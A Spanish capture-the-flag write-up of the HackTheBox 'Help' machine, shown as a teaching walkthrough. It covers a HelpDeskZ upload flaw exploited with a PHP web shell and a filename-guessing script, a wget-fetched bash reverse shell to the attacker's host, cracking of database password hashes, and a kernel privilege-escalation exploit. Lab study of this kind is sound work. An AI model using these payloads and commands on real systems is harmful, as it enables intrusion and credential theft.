HackTheBox - Help
Creado
Máquina Linux nivel fácil. Investigaremos subidas de archivos .php en el servicio HelpDeskZ, jueguitos sucios con MySQL y una explotación de un kernel con ganas de morir.
TL;DR (Spanish writeup)
Creada por: cymtrick.
A tope con vulnerabilidades conocidas…
Nos encontraremos una web por default ofrecida por Apache, profundizando en ella encontraremos un servicio llamado HelpDeskZ
, volviendo a profundizar encontraremos una vulnerabilidad para explotar una subida de archivos (muy loca, pero interesantísima), jugaremos con ella para subir un archivo .php
y lograr ejecutar comandos en el sistema, finalmente conseguiremos ejecutar una reverse Shell como el usuario help.
Estando en el sistema (no sé si es necesario para la máquina, pero lo hicimos) encontramos unas credenciales por medio de MySQL
, serán válidas para obtener una sesión SSH
como help.
Enumerando lo que tenemos a la mano, nos fijaremos cuidadosamente en la versión del kernel, si buscamos cositas relacionadas con ella llegaremos a un exploit, ¿qué hace? Pues explotar el kernel 🙃 e.e Si la explotación es exitosa nos devolvería una Shell como el usuario root, jugaremos con ella para lograrlo.
…
Clasificación de la máquina según la gentesita
Bastante R34LG4LIFE, lo cual ta buenisimooooooooooooooooo.
Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.
…
Buenas noches, siga, tome asiento por favor.
- Enumeración.
- Explotación, exploramos el servicio de tickets HelpDeskZ.
- Conseguimos credenciales para obtener una Shell con SSH.
- Escalada de privilegios.
…
Enumeración #
Enumeración de puertos con nmap 🔗
Empezaremos enumerando que puertos están abiertos en la máquina, esto lo haremos con la ayuda de nmap:
❱ nmap -p- --open -v 10.10.10.121 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
Nos responde con:
❱ cat initScan
# Nmap 7.80 scan initiated Wed Jul 21 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.121
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.121 () Status: Up
Host: 10.10.10.121 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 3000/open/tcp//ppp///
# Nmap done at Wed Jul 21 25:25:25 2021 -- 1 IP address (1 host up) scanned in 90.73 seconds
Puerto | Descripción |
---|---|
22 | SSH: Tenemos la posibilidad de obtener una Shell de manera segura. |
80 | HTTP: Nos ofrece un servidor web. |
3000 | No sabemos que será PPP, veamos si con el siguiente escaneo logramos profundizar. |
Ahora que tenemos los puertos activos que maneja la máquina haremos otro escaneo, esta vez para ver que versiones y scripts relacionan a cada servicio encontrado:
~(Usando la función extractPorts
(referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno
❱ extractPorts initScan
[*] Extracting information...
[*] IP Address: 10.10.10.121
[*] Open ports: 22,80,3000
[*] Ports copied to clipboard
)~
❱ nmap -p 22,80,3000 -sC -sV 10.10.10.121 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
Y obtenemos:
❱ cat portScan
# Nmap 7.80 scan initiated Wed Jul 21 25:25:25 2021 as: nmap -p 22,80,3000 -sC -sV -oN portScan 10.10.10.121
Nmap scan report for 10.10.10.121
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 21 25:25:25 2021 -- 1 IP address (1 host up) scanned in 25.82 seconds
Tenemos algunas cositas relevantes:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 |
80 | HTTP | Apache httpd 2.4.18 |
3000 | HTTP | Node.js Express |
Bien, nada llamativo, pero sabemos que el puerto 3000 sostiene un servidor con node, tamos bien… Por ahora nada más, profundicemos a keeeeeeee!
…
Puerto 80 🔗
Si nos fijamos en nuestro escaneo de versiones, vemos que el puerto 80 sostiene la página por default ofrecida por Apache:
Claramente nada interesante, jugando en internet con la versión de Apache tampoco vemos nada, intentemos ver si existen directorios fuera de nuestra vista:
❱ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/Web-Content/common.txt http://10.10.10.121/FUZZ
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 403 11 L 32 W 296 Ch ".htaccess"
000000023: 403 11 L 32 W 291 Ch ".hta"
000000025: 403 11 L 32 W 296 Ch ".htpasswd"
000002180: 200 375 L 968 W 11321 Ch "index.html"
000002305: 301 9 L 28 W 317 Ch "javascript"
000003694: 403 11 L 32 W 300 Ch "server-status"
000004001: 301 9 L 28 W 314 Ch "support"
...
Opa, encontramos 2 directorios llamativos, javascript
y support
, si exploramos javascript
nos indica que no tenemos permisos para ver su contenido; peeeeeeero si intentamos con support
caemos acá:
😯 Un servicio llamado HelpDeskZ que nos permite darle a nuestro sitio un apartado de soporte mediante tickets, interesante, sigamos viendo…
Hay un apartado /login
, pero probando credenciales por default no logramos pasarlo, intentamos algunos payloads de inyecciones conocidas pero tampoco. Jugando con los demás ítems vemos uno para enviar nuestro ticket:
Tenemos un formulario para detallar el problema, vemos un campo en el que podemos agregar un archivo, generemos uno para probar si podemos subir objetos .php
:
❱ cat holiwis.php
<?php system("id"); ?>
El archivo en caso de ser interpretado por alguna web nos deberia devolver el resultado del comando id
, intentemos enviar el formulario pero ahora agregando el archivo:
Le pasamos el captcha y damos clic en Submit
.
La web nos responde:
Así que al parecer no podemos subir archivos .php
, podriamos intentar cambiar el contenido agregando GIF8;
al inicio del objeto para que el sistema y la web interpreten que el contenido es un gif
, pero realmente es codigo .php
. Peero esto no nos funciona, si jugamos con la extension tampoco llegamos a ningun lado, así que sigamos enumerando la web…
Podemos ver que recursos esta sosteniendo /support
con ayuda de nuevo de wfuzz
:
❱ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/Web-Content/common.txt http://10.10.10.121/support/FUZZ
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000015: 200 17 L 42 W 378 Ch ".gitattributes"
000000025: 403 11 L 32 W 304 Ch ".htpasswd"
000000024: 403 11 L 32 W 304 Ch ".htaccess"
000000023: 403 11 L 32 W 299 Ch ".hta"
000001243: 301 9 L 28 W 326 Ch "controllers"
000001316: 301 9 L 28 W 318 Ch "css"
000001748: 200 3 L 23 W 1144 Ch "favicon.ico"
000002153: 301 9 L 28 W 321 Ch "images"
000002174: 301 9 L 28 W 323 Ch "includes"
000002181: 200 96 L 236 W 4453 Ch "index.php"
000002337: 301 9 L 28 W 317 Ch "js"
000004296: 301 9 L 28 W 322 Ch "uploads"
000004387: 301 9 L 28 W 320 Ch "views"
...
Bueno, varias cositas, las interesantes o llamativas son:
.gitattributes
uploads
views
El único que nos da contenido es .gitattributes
, pero nada relevante para seguirlo. Los demás recursos nos envían de vuelta a la página por default de Apache, o sea, hace un redirect…
Jugando con cada uno de ellos para ver si existían recursos dentro, encontramos que al parecer uploads
guarda los tickets que subimos, ya sea tooodo el ticket o los adjuntos:
❱ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/Web-Content/common.txt http://10.10.10.121/support/uploads/FUZZ
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000023: 403 11 L 32 W 307 Ch ".hta"
000000025: 403 11 L 32 W 312 Ch ".htpasswd"
000000024: 403 11 L 32 W 312 Ch ".htaccess"
000000693: 301 9 L 28 W 331 Ch "articles"
000002181: 302 0 L 0 W 0 Ch "index.php"
000004137: 301 9 L 28 W 330 Ch "tickets"
...
Pero si intentamos direccionarnos hacia tickets
nos redirecciona a la pantalla por default :( y si seguimos intentando profundizar en su contenido no encontramos nada más.
Intentando subir archivos y despues buscarlos en la ruta /support/uploads/tickets
no encontramos nada ):
…
Explotación #
Buscando vulnerabilidades relacionadas con HelpDeskZ
encontramos dos principalmente, pero solo uno que no necesita credenciales para funcionar:
Viendo el código y lo que hace (en el propio código explica la explotación) el creador nos explica algo interesante:
“The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file.” “So by guessing the time the file was uploaded, we can get RCE”
Pero leyendo atentamente recordamos que a nosotros no nos deja subir archivos .php
, o sea que quizás estamos en una versión más adelante a la que explota este exploit…
Peeeeeeeeeeeeeeeeeeeeeeeeero este exploit me hizo dar una idea de como trabajan los administradores de HelpDeskZ
y que quizás nuestra versión:
- También tome los nombres de los archivos y los “ofusque” en md5, pero que al final le agregue la extensión real del archivo.
La cosa es que necesitaríamos poder subir un archivo .php
o con contenido .php
que sea interpretado.
…
No fue necesario empezar a profundizar porque el siguiente link que había abierto nos iluminaba (muy en la cara, lo cual ta feo) con que hacer:
En él hace exactamente lo mismo, cambia pequeñísimos detalles pero es igual. Lo único que cambia es que nos indica esto:
Submit New ticket and upload the shell: Ignore the file not allowed warning
Oooooh, al parecer en su PoC le da igual que salga el mensaje que no puede subir X tipo de archivo y aun así la explota, esto nos da la mano para pensar que podemos intentar lo mismo. El artículo nos brinda un código para explotar la máquina:
Entendiendo un poco que hace el exploit 🔗
import hashlib
import time
import sys
import requests
import calendar
helpdeskzBaseUrl = "http://10.10.10.121/support/uploads/tickets/" # change this
fileName = "reverse_shell.php" # Your reverse shell
response = requests.head('http://10.10.10.121') # Change this
serverTime=response.headers['Date'] # getting the server time
timeFormat="%a, %d %b %Y %H:%M:%S %Z"
currentTime = int(calendar.timegm(time.strptime(serverTime,timeFormat)))
for x in range(0, 800):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext.encode()).hexdigest()
url = helpdeskzBaseUrl+md5hash+'.php'
print(url)
response = requests.head(url)
if response.status_code == 200:
print("found!")
sys.exit(0)
print("Sorry, I did not find anything")
En el nos spoilea que exploto ESTA máquina (la máquina help
, por si no se entiende :P), así que por un lado estamos felices porque encontramos algo, pero sabemos que ese algo nos va a funcionar si o si :l
Hablemos de que hace este y el anterior exploit rápidamente:
- Extrae la fecha en la que hacemos la ejecución del programa (en la que hace la conexión con la web, pero como es tan rápido, prácticamente es el momento en que ejecutamos el script).
- La pasa a formato timegm: O sea, la fecha a timestamp value.
- Y hace 800 peticiones (da igual el número, pueden ser 10, esto siempre y cuando se suba el archivo y de una se ejecute el exploit) para:
- Tomar la fecha actual de ejecucion e irle restando
1,2,3,4,...,800
. Concatena el nombre original del archivo a esa resta. - Encripta el valor de
nombrearchivoTIMESTAMP
en formato MD5. - Y al final le agrega la extensión
.php
- Si en algún momento de las 800 peticiones encuentra que en X periodo de tiempo se subió Y archivo, nos mostrara la URL asociada.
- Tomar la fecha actual de ejecucion e irle restando
…
Obtenemos RCE con un archivo .php 🔗
Perfecto, pues cambiémoslo para que quede con nuestra data:
...
fileName = "holiwis.php"
...
Ahora, creamos de nuevo un ticket, adjuntamos el archivo holiwis.php
, vemos que nos responda File is not allowed
y ejecutamos el exploit para ver si encuentra el archivo:
❱ python3 tryRCE.py
...
http://10.10.10.121/support/uploads/tickets/e536560d711ec6b799cdd6bff5df7ff1.php
http://10.10.10.121/support/uploads/tickets/7f809bc1c8849caf3158f4cfae9b4d84.php
http://10.10.10.121/support/uploads/tickets/b312527ca778b642e03ee24e44918aeb.php
http://10.10.10.121/support/uploads/tickets/d54ee70b5314543bb595b6690dfd9a91.php
http://10.10.10.121/support/uploads/tickets/21cdbb35831b91f5f551d79e0e5bad58.php
found!
OPAAA, pues visitemos ese link:
EJEEEEEEEEEEEE, tenemos ejecución remota de comandooooooooooooooooooooooos!!
Ahora generemos un archivo que nos permita ejecutar cualquier comando que le pasemos por una variable GET:
❱ cat holiwis.php
<?php system($_GET['xmd']); ?>
Entonces, le pasaremos nuestro comando a través de la variable xmd
y esta será interpretada por la función system
, generemos el ticket y busquemos el archivo:
❱ python3 tryRCE.py
http://10.10.10.121/support/uploads/tickets/8ea50935d73ed6f424a8a79adfb34de0.php
http://10.10.10.121/support/uploads/tickets/240236ef9c7351d8334a14df56870917.php
http://10.10.10.121/support/uploads/tickets/ee130b3f3dc98c3e9a71682e0bece6cb.php
http://10.10.10.121/support/uploads/tickets/22d8b499c06c57f6728ead123c0fede8.php
http://10.10.10.121/support/uploads/tickets/a21b24a794cf5736c769a2f19e42e6f9.php
http://10.10.10.121/support/uploads/tickets/1ce35b9e8b7b6d3fd36c2ab9c8a52156.php
found!
Validamos:
❱ curl http://10.10.10.121/support/uploads/tickets/1ce35b9e8b7b6d3fd36c2ab9c8a52156.php?xmd=hostname
help
❱ curl "http://10.10.10.121/support/uploads/tickets/1ce35b9e8b7b6d3fd36c2ab9c8a52156.php?xmd=hostname;id"
help
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
Perfectooo, ahora si tenemos control con respecto a que comando ejecutamos, generemos una reverse Shell:
Intentando con bash -i >& ...
no logramos ejecutarlo directamente, también vemos que cURL
no existe como binario (which+curl
), peeeero si existe wget
:
Tendremos que agregar los
+
para que los tome como espacios si es que ejecutamos todo desde labash
.
❱ curl "http://10.10.10.121/support/uploads/tickets/1ce35b9e8b7b6d3fd36c2ab9c8a52156.php?xmd=which+wget"
/usr/bin/wget
Así que podemos probar a subir un archivo al sistema con código bash
y posteriormente ejecutarlo:
❱ cat rere.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/4433 0>&1
Levantamos un servidor web con Python:
❱ python3 -m http.server
Subimos archivo .sh
con wget al directorio /tmp
:
# wget http://10.10.14.2:8000/rere.sh -O /tmp/rere.sh
❱ curl "http://10.10.10.121/support/uploads/tickets/1ce35b9e8b7b6d3fd36c2ab9c8a52156.php?xmd=wget+http://10.10.14.2:8000/rere.sh+-O+/tmp/rere.sh"
Validamos que exista:
# ls -la /tmp/rere.sh
❱ curl "http://10.10.10.121/support/uploads/tickets/1ce35b9e8b7b6d3fd36c2ab9c8a52156.php?xmd=ls+-la+/tmp/rere.sh"
-rw-r--r-- 1 help help 133 Jul 21 25:25 /tmp/rere.sh
Ahora, nos ponemos en escucha por el puerto que pusimos en el archivo, en mi caso el 4433:
❱ nc -lvp 4433
Y finalmente ejecutamos el script que subimos:
# bash /tmp/rere.sh
❱ curl "http://10.10.10.121/support/uploads/tickets/1ce35b9e8b7b6d3fd36c2ab9c8a52156.php?xmd=bash+/tmp/rere.sh"
Esperamos un momento yyyy en nuestro listeneeeeeeer:
Listones, estamos dentro del sistema como el usuario help, hagamos tratamiento de la TTY así evitamos preocuparnos por si ejecutamos CTRL+C
, logramos tener histórico y además conseguimos una linda Shell :P
…
Es muy incómodo estar colocando +
a cada espacio cada que queramos ejecutar algo en el sistema, además de tener que movernos al final de la cadena y ay no jajaj, aprovechemos la oportunidad y creémonos un script que:
- Nos encuentre el archivo con ayuda del timestamp.
- Y nos permita ejecutar comandos con comodidad.
Intente hacer la creacion del ticket, pero el jugar con ese catpcha fue un poco doloroso, la mayoria de intentos son fallidos y va cambiando otro valor, así que F
Acá se los dejo (junto al archivo que deberíamos subir):
❱ python3 helpdeskFind_RCE.py
[+] Encontrando archivo: http://10.10.10.121/support/uploads/tickets/99500535e6ed7f2de07ad7b03c5791f7.php ✔
[+] Ejecutando id en el sistema: ✔
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
[+] A r0mp3r t0do!
❱ python3 helpdeskFind_RCE.py -c 'uname -a'
[+] Ejecutando uname -a en el sistema: ✔
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[+] A r0mp3r t0do!
tamos!
…
Exploramos el porqué nos dejó subir archivos .php 🔗
Ya estando en la máquina intentemos buscar el código fuente de la web y ver el porqué nos dejó jugar con archivos .php
aunque el mensaje fuera otro.
Enumerando llegamos a los objetos que controlan las acciones del portal:
help@help:/var/www/html/support/controllers$ ls -la
total 88
drwxr-xr-x 5 root root 4096 Nov 28 2018 .
drwxr-xr-x 11 root root 4096 Nov 27 2018 ..
drwxr-xr-x 2 root root 4096 Jan 5 2016 admin
drwxr-xr-x 2 root root 4096 Jan 5 2016 client
-rw-r--r-- 1 root root 1192 Jan 5 2016 home_controller.php
-rw-r--r-- 1 root root 14 Jan 5 2016 .htaccess
-rw-r--r-- 1 root root 202 Jan 5 2016 index.php
-rw-r--r-- 1 root root 6673 Jan 5 2016 knowledgebase_controller.php
-rw-r--r-- 1 root root 2575 Jan 5 2016 login_controller.php
-rw-r--r-- 1 root root 1714 Jan 5 2016 lost_password_controller.php
-rw-r--r-- 1 root root 1586 Jan 5 2016 news_controller.php
drwxr-xr-x 3 root root 4096 Nov 27 2018 staff
-rw-r--r-- 1 root root 724 Jan 5 2016 staff_controller.php
-rw-r--r-- 1 root root 13002 Jan 5 2016 submit_ticket_controller.php
-rw-r--r-- 1 root root 422 Jan 5 2016 user_account_controller.php
-rw-r--r-- 1 root root 8772 Nov 28 2018 view_tickets_controller.php
Vemos submit_ticket_controller.php
, si vamos recorriéndolo llegamos a esta parte:
help@help:/var/www/html/support/controllers$ cat submit_ticket_controller.php
...
if(!isset($error_msg) && $settings['ticket_attachment']==1){
$uploaddir = UPLOAD_DIR.'tickets/';
if($_FILES['attachment']['error'] == 0){
$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
$fileuploaded[] = array('name' => $_FILES['attachment']['name'], 'enc' => $filename, 'size' => formatBytes($_FILES['attachment']['size']), 'filetype' => $_FILES['attachment']['type']);
$uploadedfile = $uploaddir.$filename;
if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
$show_step2 = true;
$error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
}else{
$fileverification = verifyAttachment($_FILES['attachment']);
switch($fileverification['msg_code']){
case '1':
$show_step2 = true;
$error_msg = $LANG['INVALID_FILE_EXTENSION'];
break;
case '2':
$show_step2 = true;
$error_msg = $LANG['FILE_NOT_ALLOWED'];
break;
case '3':
$show_step2 = true;
$error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);
break;
}
}
}
}
...
Bien, esa parte es la que toma el attachment
(archivo adjunto) y lo procesa.
Podemos detallar algunas cosas:
- Intente buscar alguna definición de la ruta
UPLOAD_DIR
, pero al estar al lado de/tickets
, podemos intuir que toma:UPLOAD_DIR
comohttp://10.10.10.121/support/uploads
/tickets
.
- Vemos que extrae la extensión del objeto que subimos.
- Toma el nombre del objeto, extrae la fecha actual en que esta siendo subido, junta los dos valores y los pasa a MD5 (toma sentido el exploit) y le agrega la extensión.
- SUBE EL ARCHIVO con la función move_uploaded_file, aunque tenga errores o lo que sea que pase,
- PEEEEEEERO EN NINGÚN MOMENTO BORRA NADA, por eso el exploit se empeña en buscarlo, el backend no lo borra del sistema 😳
Perfectisimooooooooooo, vaya fallito eh!
Pues sigamos, ya sabemos por qué podemos ver un archivo que supuestamente nos devolvía error.
…
Conseguimos credenciales para obtener una Shell con SSH #
Enumerando los directorios desde donde salimos hacia atrás, encontramos un objeto llamado config.php
en la carpeta /includes
:
help@help:/var/www/html/support/includes$ ls -la
total 152
...
-rwxrwxrwx 1 root root 274 Nov 27 2018 config.php
...
Si vemos su contenido encontramos unas credenciales contra la base de datos support
:
help@help:/var/www/html/support/includes$ cat config.php
<?php
$config['Database']['dbname'] = 'support';
$config['Database']['tableprefix'] = '';
$config['Database']['servername'] = 'localhost';
$config['Database']['username'] = 'root';
$config['Database']['password'] = 'helpme';
$config['Database']['type'] = 'mysqli';
?>
Pues perfecto, tomémoslas y probemos si son válidas:
root
:helpme
…
Empezamos a dumpear la base de datos support 🔗
help@help:/var/www/html/support/includes$ mysql -u root -p
Si señores, tamos dentro de MySQL con las credenciales de root, veamos si hay algo útil:
Probando las credenciales contra SSH no logramos nada, solo son validas en MySQL.
Veamos que bases de datos hay:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| support |
| sys |
+--------------------+
5 rows in set (0.00 sec)
Las 4 de siempre, enfoquémonos en support
, usémosla y veamos sus tablas:
mysql> use support;
mysql> show tables;
+------------------------+
| Tables_in_support |
+------------------------+
| articles |
| attachments |
| canned_response |
| custom_fields |
| departments |
| emails |
| error_log |
| file_types |
| knowledgebase_category |
| login_attempt |
| login_log |
| news |
| pages |
| priority |
| settings |
| staff |
| tickets |
| tickets_messages |
| users |
+------------------------+
19 rows in set (0.00 sec)
Uff, varios nombres llamativos:
login_log
settings
staff
tickets
tickets_messages
users
Primero veamos si hay algo llamativo en users
:
Bien, varios intentos míos 🥴, pero además hay un usuario nuevo, helpme
… Si tomamos cualquier contraseña (hash) y validamos su formato vemos que son tipo SHA1 (or SHA 128)
.
Pues apoyémonos de JtR (John The Ripper
) para intentar crackear ese hash, guardémoslo en un archivo y ejecutemos:
❱ john --wordlist=/usr/share/wordlists/rockyou.txt helpme.hash
...
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Press 'q' or Ctrl-C to abort, almost any other key for status
godhelpmeplz (?)
1g 0:00:00:00 DONE (2021-07-21 18:19) 1.176g/s 9220Kp/s 9220Kc/s 9220KC/s godhibiki..godhelpmee
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed
OPA, encontramos una coincidencia, la contraseña en texto plano es godhelpmeplz
:o
En teoría estas credenciales son válidas contra el servidor web, o sea, contra el login (si lo son 😎). Pero probando contra SSH ya sea con root
o help
no son funcionales :(
…
Seguimos dumpeando y encontramos nuevas credenciales 🔗
Veamos si hay algo en las otras tablas…
Jugando llegamos a la data de la tabla staff
:
mysql> SELECT * FROM staff;
Encontramos varios campos y data juguetona, filtremos por los interesantes:
Otras credenciales, ahora hacen referencia a un usuario llamado admin, tomemos la pw y hagamos el mismo procedimiento de antes a ver si conseguimos algo:
❱ john --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
...
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Press 'q' or Ctrl-C to abort, almost any other key for status
Welcome1 (?)
1g 0:00:00:00 DONE (2021-07-21 18:34) 4.545g/s 183636p/s 183636c/s 183636C/s abygail..Thomas1
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed
También hay coincidencias, si probamos de nuevo contra SSH logramos una sesión como el usuario help:
❱ ssh help@10.10.10.121
Así que ya podemos olvidarnos de la reverse Shell y quedarnos con la nueva SSH (:
…
Escalada de privilegios #
Enumerando el sistema cai en varios rabbit hole al no buscar primero cosas esenciales :( uno con
exim4
, otro congraphql
, conjs
, bueno, algunas perdidas e.e
Viendo las características del sistema nos encontramos la versión del kernel:
help@help:/tmp$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Si buscamos en la web alguna vulnerabilidad relacionada la versión 4.4.0-116-generic
caemos a este recurso:
Una explotación al kernel que despues de jugar con huecos en la memoria, shellcodes y cositas nos debería devolver una /bin/bash
siempre y cuando seamos root (despues de toodo el proceso que hace):
...
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
...
Pues intentemos usarlo, veamos si la máquina tiene gcc
para compilarlo, o si no lo compilamos en nuestra máquina y despues lo subimos:
help@help:/tmp$ which gcc
/usr/bin/gcc
Listos, existe, así que copiamos el código del exploit y movámoslo a la máquina víctima:
help@help:/tmp/keke$ file kerLokhe.c
kerLokhe.c: C source, ASCII text, with CRLF line terminators
Ahora compilémoslo para generar el ejecutable:
help@help:/tmp/keke$ gcc kerLokhe.c -o kerLokhe
help@help:/tmp/keke$ file kerLokhe
kerLokhe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e3143a5446c02fb5b32c79eaf037488a003040af, not stripped
Listo, pues ejecutémoslo:
help@help:/tmp/keke$ ./kerLokhe
Instantáneamente veeeeeeeeemooooooooooooooooooooos:
Y conseguimos nuestra dichosa /bin/bash
como el usuario root
(:
Veamos las flags:
…
Linda máquina, completica de vulnerabilidades conocidas (CVEs
), lo cual está brutal, ya que apunta a ser lo más real (y lo es).
Muchas gracias por leer y como siempre, A S3GU1R R0MP1ENDO 7ODO!!!
Comments